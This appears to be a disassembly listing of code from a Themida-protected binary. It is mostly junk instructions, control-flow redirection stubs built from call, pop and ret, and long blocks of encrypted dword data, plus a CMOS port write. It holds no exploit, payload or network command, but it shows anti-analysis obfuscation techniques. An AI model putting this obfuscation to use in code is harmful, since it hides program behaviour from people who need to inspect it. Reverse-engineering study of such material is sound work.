		mov	ebx, eax
		mov	esi, ebx
		mov	dword ptr [ebp+6100529h], 130CF171h
		push	0
		push	ebp
		call	sub_58AF4C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AF4C	proc near		; CODE XREF: Themida_:0058AF44p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58AF4C	endp

; ---------------------------------------------------------------------------
		dd 0DC37D7B6h, 8166C08Bh, 8132BEEFh, 100055BDh,	7D006h
		dd 12850F00h, 0B000000h, 10051DBDh, 5585FF06h, 8B061000h
		dd 100FC9BDh, 55B5FF06h, 0E9061000h, 0Dh, 16EEE0D6h, 0CB0F7570h
		dd 8CB28925h, 0D78166EAh, 95FFFCADh, 61031C9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 76C35040h, 0E17062ACh
		dd 8BF57C71h, 100C7DBDh, 0BFF89006h, 64A1F1F3h,	0C8D0Fh
		dd 9D890000h, 6101C25h,	9659D31h, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D29CCC3h
		dd 6101345h, 14E8h, 82F6B900h, 25280296h, 69E46D48h, 8893F72Eh
		dd 666597B3h, 7E99Eh, 2FE80000h, 0C8A27C08h, 0BE9C3h, 1FB0000h
		dd 0BB82CDE3h, 0B5F692B4h, 0EFBF5F9Eh, 66091F6Fh, 0E8539CBEh
		dd 11h,	65BDE20Ah, 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 6860F75h
		dd 29000000h, 1006AD95h, 6A5F06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8D8906C3h, 6100E49h
		dd 436DC781h, 6A6A26h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0A26631C3h, 0E846C19Ah, 13h, 0F141BEA0h
		dd 0C89D328Eh, 33E4FF84h, 161465FDh, 894CDB0Eh,	10052D85h
		dd 49E95F06h, 0BFFFFFF7h, 27541856h, 8B66C18Bh,	4EBF2h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 2716C351h, 35668A3Bh, 162FF63Ch
		dd 2BFFB70Fh, 10286DB5h, 0F08B6606h, 13B9858Dh,	6A0610h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F3AC5C3h, 6084DBC6h, 0BD8B6BBDh, 61009DDh, 0DCEE8166h
		dd 32BF903Fh, 5068CF28h, 6A90F78Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F0E6C356h
		dd 6AF357h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	2FC35141h, 3764654Dh, 13836943h, 6A006AA6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1E13C353h, 603D7150h, 0CAC985FCh, 0AE8h, 26501D00h
		dd 0ED392774h, 897180FCh, 10231D95h, 9D895E06h,	6100835h
		dd 0FEA3858Dh, 0B5890613h, 610048Dh, 735BD8Bh, 0C0830610h
		dd 0BB666005h, 89535678h, 1022658Dh, 89615806h,	10209D95h
		dd 8B665006h, 240489F2h, 2AF1BD8Bh, 6A0610h, 7DBD8BF9h
		dd 6A061005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0B8A8BDB7h, 243FAE3h, 310D9D89h
		dd 95FF0610h, 6101D19h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0C3C35545h, 0B5897AEBh, 61016F5h, 10F9BD8Bh
		dd 9D8D0610h, 613AFD8h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 13C35141h, 19830F94h,	0E8000000h, 0Dh
		dd 7AD3F14Ch, 421FCCE4h, 0A4676AFEh, 61BD8B80h,	5E061021h
		dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 846DE8C3h, 735A8C82h, 12830Fh, 0DE90000h
		dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 141985FFh
		dd 89510610h, 100D359Dh, 62E95E06h, 0E8000009h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 613FEADh
		push	0
		push	edi
		call	sub_58B32A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B32A	proc near		; CODE XREF: Themida_:0058B322p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58B32A	endp

; ---------------------------------------------------------------------------
		dw 3D49h
		dd 0C68124C8h, 982F81Fh, 55BD81h, 7D00610h, 860F0000h
		dd 18Eh, 0B19D8BF5h, 6A06102Ah,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 52DEC351h, 0F605381h
		dd 88h,	0A1858900h, 61061021h, 0A4C7815Fh, 8175A406h, 100E3h
		dd 68D0F00h, 89000000h,	1013F995h, 0FDB0B06h, 0C585h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0D1DDE2EAh, 65A380BEh, 0F08B667Ah, 0FC80BD83h, 0F000613h
		dd 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0D96CBC6Ah, 0D75CD0AAh, 12E8h, 0F4E83100h
		dd 3B2CDE40h, 31958699h, 3960A060h, 8B9D9480h, 101FB9BDh
		dd 7FE95E06h, 33000000h, 100C99BDh, 8085C706h, 10613FCh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FDAC351h, 282h, 0FFA8B00h, 688h
		dd 0D5B58900h, 0E9061018h, 3Ah,	311D9D89h, 85C70610h, 613FC80h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58B483
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B483	proc near		; CODE XREF: Themida_:0058B47Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58B483	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0B58BB9A7h
		cmc
		sub	eax, 0BD8B0610h
		pop	ebp
		or	[eax], edx
		push	es
		lea	ebx, [ebp+6102AB1h]
		call	near ptr loc_58B4B2+1
		mov	ah, 50h
		aaa
		fxch7	st(5)


loc_58B4B2:				; CODE XREF: Themida_:0058B4A8p
		mov	byte ptr [ebx+1027C9BDh], 6
		pop	edi
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ebp
		call	sub_58B4CB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B4CB	proc near		; CODE XREF: Themida_:0058B4C3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp

locret_58B4DA:				; CODE XREF: Themida_:0058B511j
		retn
sub_58B4CB	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		xlat
		sbb	dh, ds:662E3438h
		mov	ebx, ds
		mov	di, 283Eh
		test	bl, 4
		jz	loc_58B55F
		push	0
		push	ecx
		call	sub_58B4FD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B4FD	proc near		; CODE XREF: Themida_:0058B4F5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58B4FD	endp

; ---------------------------------------------------------------------------
		db 6Eh,	81h, 2Ah
; ---------------------------------------------------------------------------
		cdq
		ja	short locret_58B4DA
		inc	esp
		test	[ecx+6Eh], eax
		call	dword ptr [ebp+6100DC9h]
		push	0
		push	edx
		call	sub_58B528
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B528	proc near		; CODE XREF: Themida_:0058B520p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58B528	endp

; ---------------------------------------------------------------------------
		dd 506EEA86h, 168D0Fh, 0E8560000h, 0Eh,	8C9AAFF3h, 33A7F752h
		dd 0CB338A56h, 5E5FCFD9h, 66240489h
		db 0BFh, 44h, 0B6h
; ---------------------------------------------------------------------------


loc_58B55F:				; CODE XREF: Themida_:0058B4ECj
		jmp	loc_58BA75
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58B56F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B56F	proc near		; CODE XREF: Themida_:0058B567p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58B56F	endp

; ---------------------------------------------------------------------------
		db 7Bh
		dd 0EFBFB3E5h, 0B0193D43h, 6A70E600h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0CBC3C350h
		dd 5E949h, 0F2FA0000h, 0E4E544A7h, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 3847B9EEh
		dd 7E6914B6h, 0FF18B66h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 469CB8C3h, 6620C96Bh
		dd 2C94D681h, 6BAh, 0B98D2900h,	8B061009h, 51006AC3h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 4A488C18h, 7B22B6DEh, 613CBE66h, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0DFECC357h, 8EA3D368h, 0FAB9AACh, 0BD8BF3BFh, 6102095h
		dd 8BE2F766h, 102D85BDh, 6AD82B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AF37C357h
		dd 93617F7Eh, 0F50F98Bh, 28Eh, 93F18B00h, 0E97DABEh, 55B5FF0Dh
		dd 6A061000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0B5BEC350h, 298B3BD6h,	102F399Dh
		dd 0C995FF06h, 6A061031h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 89EBC351h, 49BD29C8h
		dd 0B006101Dh, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 308B73C3h, 8D9D09C9h
		dd 0E606100Fh, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8D09FF01h, 610157Dh, 6A71E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2FB436C3h, 9DD99924h, 8947F43Dh, 102161B5h, 61B58B06h
		dd 3C06100Dh, 0F2830F61h, 89000002h, 100CA98Dh,	0D8B60F06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h
		dd 3EFBB595h, 8B57533Bh, 100B09BDh, 6BA06h, 0BD890000h
		dd 6101189h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5C6220C3h, 1C905B89h, 0C1F78B66h
		dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 596949C3h, 37C14D53h, 0A1FFBF96h,	0F7665EBAh
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C9D8A2ECh, 4F41F427h, 0FE9C87Fh, 0C3000000h
		dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 0D82BF425h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 49C35747h, 0BC435CFCh
		dd 6810Fh, 0B58B0000h, 61004DDh, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 62C5CC8Ah
		dd 23ADFE0Fh, 201DB58Bh, 0D82B0610h, 1C7880Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 49EE3DC3h, 88CFF61Ch, 0EFBE66AFh, 1D8589EEh,	0B906100Bh
		dd 7, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 19h
		dd 3FC35343h, 0B6A91539h, 91B5238Bh, 83061015h,	6A00C1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 181885C3h, 8B1CBE35h, 101391B5h, 0FD93B06h, 13C86h
		dd 0B8BF6600h, 0D98C6628h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0D7C35141h, 20A487A6h, 0F69365F2h, 0E840FF4h
		dd 0E9000000h, 9, 5ABC386Dh, 0E80BBA83h, 4C1F65Eh, 0D2840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BED4F2C3h, 0E819E3ADh, 5, 37CD36B0h, 0F0B70FB2h
		dd 0C995FF5Fh, 8906100Dh, 100551B5h, 0DE906h, 90060000h
		dd 0C0AAA951h, 2052B746h, 5BBA2B90h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 35C35141h, 2E3A5ADDh, 0AEE13742h
		dd 2BFA8B6Eh, 0D1BD8BC3h, 3D061022h, 834h, 4A860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FE7DB4C3h, 0A1232AF3h, 42E9C0B9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 4C6CC356h, 1694C375h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 3F4F01C3h
; ---------------------------------------------------------------------------
		push	ebx


loc_58BA75:				; CODE XREF: Themida_:loc_58B55Fj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_58BA84
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BA84	proc near		; CODE XREF: Themida_:0058BA7Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58BA84	endp

; ---------------------------------------------------------------------------
		dd 13990E44h, 81F6A694h, 799E51F6h, 502FBE19h, 85C77FD6h
		dd 6102801h, 5FCCC991h,	0BD8BC08Bh, 6101301h, 55BD81h
		dd 7D00610h, 850F0000h,	31h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 31C35141h, 3B613C0Eh, 6F87E77Ch
		dd 5585FFB6h, 29061000h, 10084DB5h, 55B5FF06h, 6A061000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8B90C353h, 4CD3E35Fh, 1F22F12h, 10007995h
		dd 0C995FF06h, 0F061031h, 8Ah, 6A9000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72AB62C3h
		dd 0E35EDFh, 0DE9CFh, 0AA160000h, 79FDDF27h, 6A0058DCh
		dd 8132A989h, 7FB713F7h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 6A341821h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B5C351h
		dd 5CF494A9h, 0AF3B2ADBh, 0DCDE8166h, 0CE8166FBh, 56BFEF93h
		dd 66195C0Ah, 81B06CBFh, 0BCA4CACFh, 57006A72h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 27687332h
		dd 0F98BF82Dh, 30B1BE66h, 0DA3E83BEh, 0FEB70F63h, 405BBE66h
		dd 0DE9h, 1A164800h, 64F9E22Eh,	0BB48B38Bh, 858993BAh
		dd 61027ADh, 1C2719BFh,	81666070h, 0F2408C3h, 987h, 0C18D8900h
		dd 6606100Bh, 6061D08Bh, 2785858Bh, 0BD890610h,	61000C5h
		dd 0F6CDE961h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 4050C7C3h, 7A94679Ah, 0ED95893Fh
		dd 8906100Bh, 102779B5h, 6AC18B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 1E6BC350h
		dd 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 180424h, 55450000h, 3552EAC3h, 0F606100h, 158Bh, 10E900h
		dd 35AB0000h, 1CD7A5EFh, 0FB7FB844h, 9A727CB8h,	8D8BC771h
		dd 6100E81h, 56006A61h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 339F5CBh,	0C1F36F2h, 8DF1B70Fh, 1013B985h
		dd 56B86006h, 0E83B55B7h, 7, 569035E2h,	66235919h, 59D193BFh
		dd 0DBBF5061h, 896A5BF3h, 6A2404h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 32C35747h, 0AFF27224h, 6880F03h
		dd 1000000h, 101D31BDh,	6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C724C357h
		dd 0EEF1A1ABh, 858DB815h, 6140A35h, 8E8h, 7E8C6600h, 13C697BEh
		dd 5E50601Bh, 0AE9h, 0C2F39600h, 46F4B658h, 61C7BC73h
		dd 5C0835Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	94C35141h, 58D89h, 95890610h, 6100A49h,	7E890h
		dd 28490000h, 0AB2ED5B2h, 13E8DEh, 9C5F0000h, 7349FF7Fh
		dd 9793F4A9h, 9BBFE945h, 36905507h, 505E5EEDh, 275017BEh
		dd 6A902Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0E5EC96C3h, 8926BFDEh, 830F883Dh,	0
; ---------------------------------------------------------------------------
		push	0
		mov	[ebp+61020B9h],	esi
		push	0
		mov	esi, eax
		call	dword ptr [ebp+6101D19h]
		xor	edi, 214202F3h
		lea	ebx, [ebp+613AFD8h]
		mov	edi, [ebp+61005FDh]
		push	eax
		pop	esi
		call	ebx
		push	0
		push	eax
		call	sub_58BE5B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BE5B	proc near		; CODE XREF: Themida_:0058BE53p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_58BE5B	endp

; ---------------------------------------------------------------------------
		or	al, 0CBh
		pusha
		mov	edx, 7B3BE6CAh
		inc	esi
		mov	[edx+5Fh], dl
		inc	dword ptr [ebp+6101419h]
		push	0
		push	eax
		call	sub_58BE88
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BE88	proc near		; CODE XREF: Themida_:0058BE80p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58BE88	endp

; ---------------------------------------------------------------------------
		dec	edx
		retn
; ---------------------------------------------------------------------------
		xor	[ebp+6101425h],	edx
		jmp	loc_58C689
; ---------------------------------------------------------------------------


loc_58BEA5:				; DATA XREF: Themida_:0054E4E8o
		call	$+5
		pop	ebp
		sub	ebp, 6140A3Fh
		jmp	loc_58BEC0
; ---------------------------------------------------------------------------
		dw 0CF24h
		dd 7EA1CE56h, 70669F79h
; ---------------------------------------------------------------------------


loc_58BEC0:				; CODE XREF: Themida_:0058BEB1j
		cmp	dword ptr [ebp+6100055h], 7D0h
		jbe	loc_58C01F
		push	0
		push	ebx
		call	sub_58BEDB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BEDB	proc near		; CODE XREF: Themida_:0058BED3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58BEDB	endp

; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------
		cld
		mov	ebx, [ebp+6102875h]
		mov	esi, [ebp+61005C5h]
		and	ebx, 100h
		push	edi
		jmp	loc_58BF12
; ---------------------------------------------------------------------------
		db 9Fh,	4Fh, 6Dh
		dd 9B9EAED1h, 6DE361D4h
		db 1Dh,	18h
; ---------------------------------------------------------------------------


loc_58BF12:				; CODE XREF: Themida_:0058BF00j
		pop	esi
		or	ebx, ebx
		jnz	loc_58BFAF
		call	sub_58BF34
		pop	ebp
		retf
; ---------------------------------------------------------------------------
		dw 0B4D3h
		dd 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h, 0DC82B4ABh

; =============== S U B	R O U T	I N E =======================================



sub_58BF34	proc near		; CODE XREF: Themida_:0058BF1Bp

; FUNCTION CHUNK AT 0058BFE2 SIZE 0000001D BYTES

		mov	esi, [ebp+61011ADh]
		pop	edi
		cmp	dword ptr [ebp+614082Bh], 0
		jz	loc_58BF54
		mov	[ebp+6102099h],	eax
		jmp	loc_58BFE2
; ---------------------------------------------------------------------------
		cld


loc_58BF54:				; CODE XREF: sub_58BF34+Ej
		mov	dword ptr [ebp+614082Bh], 1
		push	0
		push	edx
		call	sub_58BF69
		and	[edx-3Dh], bl
sub_58BF34	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58BF69	proc near		; CODE XREF: sub_58BF34+2Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58BF69	endp

; ---------------------------------------------------------------------------
		push	cs
		retf
; ---------------------------------------------------------------------------
		sub	cl, bl
		mov	dh, 15h
		ror	byte ptr [ecx+1030AD85h], 1
		push	es
		jmp	loc_58BFE2
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58BF96
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BF96	proc near		; CODE XREF: Themida_:0058BF8Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58BF96	endp

; ---------------------------------------------------------------------------
		dw 93ECh
		dd 64654D2Fh
		db 37h,	43h, 69h
; ---------------------------------------------------------------------------


loc_58BFAF:				; CODE XREF: Themida_:0058BF15j
		mov	dword ptr [ebp+614082Bh], 0
		push	0
		push	ecx
		call	sub_58BFC4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BFC4	proc near		; CODE XREF: Themida_:0058BFBCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58BFC4	endp

; ---------------------------------------------------------------------------
		dd 661B891Ch, 51B1DE81h, 71B8DE81h
		db 0DAh, 1Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BF34


loc_58BFE2:				; CODE XREF: sub_58BF34+1Aj
					; Themida_:0058BF86j
		lea	ebx, [ebp+6102875h]
		mov	[ebp+6101651h],	esi
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	edx
		call	sub_58BFFF
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58BF34

; =============== S U B	R O U T	I N E =======================================



sub_58BFFF	proc near		; CODE XREF: sub_58BF34+C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58BFFF	endp

; ---------------------------------------------------------------------------
		db 0A4h
		db 0CCh
		db 5Fh,	3Ah, 0Fh
		dd 689h, 0C5BD0900h
; ---------------------------------------------------------------------------
		or	[eax], edx
		push	es


loc_58C01F:				; CODE XREF: Themida_:0058BECAj
		mov	bx, ds
		jnb	loc_58C02E
		xor	edi, 499A2649h


loc_58C02E:				; CODE XREF: Themida_:0058C022j
		jmp	loc_58C044
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		frstor	byte ptr [edi-2Fh]
		pusha
		add	[edx+105EFA64h], ah
		setalc
		push	1F5A390h


loc_58C044:				; CODE XREF: Themida_:loc_58C02Ej
		test	bl, 4
		jz	loc_58C0B3
		push	0
		push	ebx
		call	sub_58C058
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C058	proc near		; CODE XREF: Themida_:0058C050p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_58C058	endp

; ---------------------------------------------------------------------------
		dd 191B8763h, 6E2C83F4h, 1C1DB58Bh, 95FF0610h, 6100DC9h
		dd 21CD9D89h, 81660610h, 909AF8E7h, 9050F18Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h, 0B4B564B3h
		dd 0A5B58BA4h
; ---------------------------------------------------------------------------
		adc	[eax], dl
		push	es


loc_58C0B3:				; CODE XREF: Themida_:0058C047j
		jmp	loc_58C49B
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6102EC5h]
		mov	al, 0
		push	0
		push	edx
		call	sub_58C0CB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C0CB	proc near		; CODE XREF: Themida_:0058C0C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_58C0CB	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		jmp	loc_58C0F5
; ---------------------------------------------------------------------------
		db 3, 28h, 0BCh
		dd 0EF6F762Ah, 0A3E041BFh, 7A370505h, 0FCFCE970h
		db 1
; ---------------------------------------------------------------------------


loc_58C0F5:				; CODE XREF: Themida_:0058C0DCj
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		push	0
		push	ecx
		call	sub_58C102
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C102	proc near		; CODE XREF: Themida_:0058C0FAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58C102	endp

; ---------------------------------------------------------------------------
		dw 0DB5Bh
		dd 6BE1EA5Bh, 998D8902h, 0E8061011h, 11h, 8ECC4560h, 6E4890A7h
		dd 3D968738h, 0FDCBA7FFh, 19BD290Dh, 5F061021h,	6A71E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0C3E708C3h, 29515E0Eh, 1020B9BDh, 0B60F5F06h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0A9ECDA1Eh, 16F1BD8Bh, 6BA0610h, 89000000h, 10170D85h
		dd 66C38B06h, 45FCCE81h, 6604E8C1h, 0EA5CF681h,	6AE2F766h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0A438C350h, 6F49F3B3h, 0F28BC0B8h, 0F681D82Bh
		dd 6957DF6Fh, 6A935093h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B6E5C351h,	0FFF98B3Fh
		dd 100055B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 2F35EBC4h, 31C995FFh, 0BD8B0610h
		dd 6101DB1h, 0BD8B00B0h, 6102EEDh, 6A70E6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 3D263BC3h
		dd 0A4411B4Fh, 0E856D4EAh, 0Ah,	63D5B97Ch, 76FF8613h, 0BD8B7EEAh
		dd 6101311h, 0F71E45Fh,	613CF7BFh, 21D830Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9FBD6CC3h, 8166045Ah, 0FEB78EFh, 820FD8B6h, 0Ch, 6830Fh
		dd 0B58B0000h, 61016F1h, 6BAh, 0CF816600h, 0B58B7208h
		dd 6100A01h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0E85647C3h, 13h,	0F4AB8C49h, 77474EA5h
		dd 0DA5C65B5h, 2CE64552h, 8B315863h, 100225BDh,	895F5F06h
		dd 101C458Dh, 4E8C106h,	66FAB70Fh, 8A0FE2F7h, 6, 1671B52Bh
		dd 0D7810610h, 75556029h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FE49EC3h, 686h, 0FDB52900h
